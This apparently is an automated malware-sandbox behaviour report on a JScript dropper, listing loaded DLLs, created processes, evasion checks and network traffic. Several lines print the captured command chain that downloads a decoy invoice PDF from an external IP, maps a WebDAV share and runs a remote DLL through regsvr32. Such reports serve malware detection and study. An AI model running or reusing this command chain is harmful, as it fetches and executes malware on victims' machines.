Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2405.js.csv");ITextStream.WriteLine(" entry:7730 f:sikhbu");ITextStream.WriteLine(" exec:2 f:sikhbu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5091			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4623			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5084	Thread sleep count: 5091 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5084	Thread sleep count: 4623 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5868	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1104	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 344	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6932	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 772	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4480	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000008.00000002.1937627520.000001D3A8F28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000008.00000003.1935520197.000001D3A8F87000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000003.1928064790.000001D3A8F87000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3106731409.000001B82002B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3107987442.000001B825655000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
